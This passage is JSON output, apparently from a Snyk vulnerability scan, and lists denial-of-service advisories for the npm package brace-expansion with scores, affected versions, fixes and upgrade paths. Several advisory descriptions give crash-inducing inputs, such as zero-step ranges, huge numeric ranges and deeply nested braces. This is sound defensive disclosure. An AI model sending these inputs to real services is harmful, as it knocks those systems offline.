"@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { 